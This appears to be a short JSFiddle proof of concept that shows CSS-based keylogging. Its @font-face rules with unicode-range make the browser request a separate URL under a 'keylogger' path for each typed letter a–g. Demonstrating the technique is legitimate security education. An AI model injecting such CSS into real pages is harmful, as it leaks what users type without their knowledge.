JSFiddle - React, Tailwind, and code Playground
by fedir
HTML
<h1>CSS keylogging demo</h1>
<p>Type "abcdefg" and watch network activity:</p>
<input type="text" />
CSS
@font-face {font-family:spyFont;src:url(c/d/keylogger/a),local(Impact); unicode-range: U+0061;}
@font-face {font-family:spyFont;src:url(c/d/keylogger/b),local(Impact); unicode-range: U+0062;}
@font-face {font-family:spyFont;src:url(c/d/keylogger/c),local(Impact); unicode-range: U+0063;}
@font-face {font-family:spyFont;src:url(c/d/keylogger/d),local(Impact); unicode-range: U+0064;}
@font-face {font-family:spyFont;src:url(c/d/keylogger/e),local(Impact); unicode-range: U+0065;}
@font-face {font-family:spyFont;src:url(c/d/keylogger/f),local(Impact); unicode-range: U+0066;}
@font-face {font-family:spyFont;src:url(c/d/keylogger/g),local(Impact); unicode-range: U+0067;}
input {font-family:spyFont,sans-serif;}